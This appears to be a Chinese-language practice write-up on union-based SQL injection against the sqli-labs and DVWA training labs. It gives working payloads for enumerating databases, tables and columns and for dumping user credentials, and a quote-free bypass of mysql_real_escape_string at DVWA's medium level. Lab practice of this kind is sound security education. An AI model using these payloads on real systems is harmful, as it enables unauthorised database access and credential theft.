以sqli-labs-master作爲練習
初始:簡單獲取基礎內容
第一步,使用拼接的方式決定注入類型
第二步,使用order by確定有表單有幾列值
order by根據指定的列對結果集進行排序
在這裏插入圖片描述
第三步,使用union select 來找到內容,獲取想要得到內容
union select :聯合查詢
進階,通過mysql注入獲取表單內容,拖庫;
第一步:通過數據庫語句進行搜索,首先確定數據庫
第二步:確定數據庫後,爆出它的表;
第三步:確定表以後,可根據實際需求爆表,這裏以users舉例,進行爆字段
第四步:確定字段後,我們就可以拖庫;
DVWA訓練基礎 low級別
1.參照上文確定當前庫
1' union select (select database()),2 -- -
2.確定庫後,爆表
1' union select (select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'),2 -- -
3.確定表後,爆字段
1' union select (select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name='users'),2 -- -
4.確定字段後,進行拖庫
1' union select (select group_concat(concat_ws(0x7e,user,password))from users),2 -- -
DVWA訓練基礎 Medium級別
1.這個級別我們可以看出,這是通過一個下拉表的方式提交數據的
2.提交一個數據後發現URL:http://localhost/DVWA-1.9/vulnerabilities/sqli/#,所以不是get型注入,應該是把提交的數據存放到post數據中了,用hackbar試一下
3.添加註入語句,添加post數據如下:
4.使用burp suite,執行“爆表”代碼時卻報錯了;
id=3 union select1,table_name from information_schema.tables wheretable_name='dvwa'#&Submit=Submit
5.Low版本的就可以注入,中等的就不可以注入了,這是爲什麼呢?打開源碼看一下:
Medium SQL Injection Source
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string($id );
// Check database
$query = "SELECT first_name,last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() .'</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result,$i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br/>Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
發現有這樣的一句話:
$id = mysql_real_escape_string($id );
這句話是幹什麼用的呢?百度了一下知道
mysql_real_escape_string函數是實現轉義 SQL 語句字符串中的特殊字符,如輸入單引號’則處理時會在其前面加上右斜槓\來進行轉義,如果語句錯誤則輸出相應的錯誤信息。其中受影響的字符如下:
\x00 \n \r \ ’ " \x1a
換注入方式 只要不用 ’ 就行
6.使用下面代碼進行注入;
id=-0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273) &Submit=Submit